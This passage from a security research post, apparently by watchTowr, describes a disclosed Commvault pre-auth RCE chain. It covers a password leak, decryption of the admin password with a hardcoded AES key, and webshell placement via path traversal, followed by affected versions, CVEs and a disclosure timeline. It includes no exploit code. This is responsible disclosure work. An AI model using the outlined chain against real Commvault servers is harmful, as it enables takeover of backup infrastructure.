low-privileged user can:\n\n*   Retrieve the encrypted admin password from the database.\n*   Decrypt it and log in as admin.\n\nThe screenshot below shows the decrypted password we pulled from the API-leaked data.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-35.png)\n\nOnce again, having access to an administrative account - we can now use the previously described WT-2025-0049 to form another pre-auth RCE chain.\n\nAlthough this vulnerability is valid and can be used to build a second pre-auth RCE chain, it comes with two key limitations:\n\n*   The admin password is stored in the database in encrypted (not hashed) form only during initial product setup. During installation, the admin password you set is encrypted and saved. If the password is ever changed later (for example, through the application frontend), it will be stored as a hash instead, making the vulnerability unexploitable. **Important:** We do not know exactly when SHA256 became the default storage format. There\u2019s a strong chance that if you changed the password a couple of years ago, you may still be vulnerable, since SHA256 may not have been the default at that time.\n*   We reported this issue to the vendor on April 16th, 2025. The day before, version 11.38.25 was released. Starting from that version, the admin password will automatically be hashed after the first successful login, so it will no longer be stored in encrypted form.\n\nEven so, this chain will likely still impact many CommVault instances. And if it doesn\u2019t, the first chain we described remains unaffected by these limitations.\n\nIt\u2019s also worth noting that many CommVault administrators don\u2019t use the built-in `admin` account at all, which could leave this attack path viable for longer.\n\nCompleting Another Chain - Joining WT-2025-0047, WT-2025-0048 and WT-2025-0049\n------------------------------------------------------------------------------\n\nOur second full pre-auth RCE chain starts with the low-privileged `_+_PublicSharingUser_` account and escalates all the way to admin before dropping a webshell:\n\n*   **WT-2025-0047** - Leak the password of `_+_PublicSharingUser_` via a pre-auth information disclosure.\n*   **WT-2025-0048** - Privilege escalation by retrieving the encrypted admin password from the database and decrypting it with a hardcoded AES key.\n*   **WT-2025-0049** - Absolute path traversal in QCommand handling, allowing a JSP webshell to be written directly into the webroot for remote code execution.\n\nThis chain is exploitable against vulnerable Commvault instances where the admin password is still stored in encrypted form in the database. Even if this condition is not met, the first chain remains fully viable.\n\nAs with the first chain - no Detection Artifact Generator will be released.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-36.png)\n\n### Am I Vulnerable?\n\nWith the publication of the [security advisories](https://documentation.commvault.com/securityadvisories/?ref=labs.watchtowr.com) from Commvault, the following versions are now confirmed to be affected by the vulnerabilities in this research. This includes both the innovation release and main branch releases.\n\n\n\n* Product: Commvault\n  * Platform: Linux, Windows\n  * Affected Versions: 11.32.0 - 11.32.101\n  * Remediated Versions: 11.32.102\n  * Note: \n* Product: Commvault\n  * Platform: Linux, Windows\n  * Affected Versions: 11.36.0 - 11.36.59\n  * Remediated Versions: 11.36.60\n  * Note: \n* Product: Commvault\n  * Platform: Linux, Windows\n  * Affected Versions: 11.38.20-11.38.25\n  * Remediated Versions: 11.38.32\n  * Note: Whilst this branch is not stated within the official advisory, through our own tests we clarified these versions.\n\n\nHere are each advisory for the vulnerabilities reported:\n\n\n\n* Vulnerability: WT-2025-0047\n  * CVE: CVE-2025-57788\n  * Vendor Synopsis: Unauthorized API Access Risk\n  * Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_3.html\n* Vulnerability: WT-2025-0048\n  * CVE: CVE-2025-57789\n  * Vendor Synopsis: Vulnerability in Initial Administrator Login Process\n  * Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_4.html\n* Vulnerability: WT-2025-0049\n  * CVE: CVE-2025-57790\n  * Vendor Synopsis: Path Traversal Vulnerability\n  * Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html\n* Vulnerability: WT-2025-0050\n  * CVE: CVE-2025-57791\n  * Vendor Synopsis: Argument Injection Vulnerability in CommServe\n  * Link: https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html\n\n\n### Timeline\n\n\n\n* Date: 15th April 2025\n  * Detail: watchTowr discloses WT-2025-0047 to Commvault\n* Date: 16th April 2025\n  * Detail: Commvault validates WT-2025-0047\n* Date: 18th April 2025\n  * Detail: watchTowr discloses WT-2025-0048 and WT-2025-0049 to Commvault\n* Date: 18th April 2025\n  * Detail: Commvault acknowledge the reports and ask for a phone call with watchTowr\n* Date: 19th April 2025\n  * Detail: watchTowr declines phone call, citing internal policy\n* Date: 22nd April 2025\n  * Detail: watchTowr provides an endpoint which exposes the password GUID(WT-2025-0047) and provides code excerpts evidencing that the password is encrypted (WT-2025-0048)\n* Date: 23rd April 2025\n  * Detail: watchTowr discloses WT-2025-0050 to Commvault\n* Date: 24th April 2025\n  * Detail: watchTowr hunts across client attack surfaces for Commvault-related vulnerabilities\n* Date: 25th April 2025\n  * Detail: Commvault provides feedback:* Confirms WT-2025-0047 as a vulnerability* Confirms WT-2025-0048 as a vulnerability* Provides feedback for WT-2025-0049 - \"The QCommand Execute API requires valid administrator credentials. Given the improbability of WT-2025-0048 being exploited to gain such credentials, we do not believe this RCE is feasible in a real-world context without authorized admin access.\"* Provides feedback for WT-2025-0050 - \"We recognize that this issue could allow the generation of a QSDK token for the localadmin user. However, it is important to highlight that the token's permissions are tightly scoped. It supports only specific operational functions such as backup and restore, and does not provide cell-level or broad administrative capabilities.\"\"\n* Date: 25th April 2025\n  * Detail: watchTowr request an ETA on patch availability, and provides PoCs to demonstrate real-world exploitability\n* Date: May 23rd 2025\n  * Detail: watchTowr observes patches released in innovation releases and asks Commvault for status update\n* Date: May 24th 2025\n  * Detail: Commvault confirm they're actively working on comprehensive fixes for all versions\n* Date: May 31st 2025\n  * Detail: Commvault confirm they expect to fix vulnerabilities with the aim to release advisories within the first week of July\n* Date: June 12th 2025\n  * Detail: Commvault contacts watchTowr to reconfirm disclosure in July\n* Date: June 12th 2025\n  * Detail: watchTowr requests CVE identifiers\n* Date: July 9th 2025\n  * Detail: Commvault requests to amend disclosure date on August 15th, confirming CVE identifiers will be provided at the time of publication\n* Date: July 11th 2025\n  * Detail: watchTowr agrees to a disclosure date of August 15th\n* Date: August 14th 2025\n  * Detail: Commvault requests to reschedule the disclosure to August 20th\n* Date: August 19th 2025\n  * Detail: Commvault publishes the security advisories\n* Date: August 20th 2025\n  * Detail: MITRE assigns the following CVEs (CVE-2025-57788, CVE-2025-57789, CVE-2025-57790, CVE-2025-57791)\n* Date: August 20th 2025\n  * Detail: watchTowr publishes research\n\n\nThe research published by [watchTowr Labs](https://www.watchtowr.com/?ref=labs.watchtowr.com) is just a glimpse into what powers the [watchTowr Platform](https://www.watchtowr.com/?ref=labs.watchtowr.com) \u2013 delivering automated, continuous testing against real attacker behaviour.\n\nBy combining Proactive Threat Intelligence and External Attack Surface Management into a single **Preemptive Exposure Management** capability, the [watchTowr Platform](https://www.watchtowr.com/?ref=labs.watchtowr.com) helps organisations rapidly react to emerging threats \u2013 and gives them what matters most: **time to respond.**\n\n### Gain early access to our research, and understand your exposure, with the watchTowr Platform\n\n[REQUEST A DEMO](https://watchtowr.com/demo/)", "creation_timestamp": "2025-08-20T14:35:34.440648+00:00", "timestamp": "2025-08-20T14:35:52.647237+00:00", "related_vulnerabilities": ["CVE-2025-57789", "CVE-2025-57788", "CVE-2025-57790", "CVE-2025-57791", "cve-2025-34028", "CVE-2025-34028"], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}
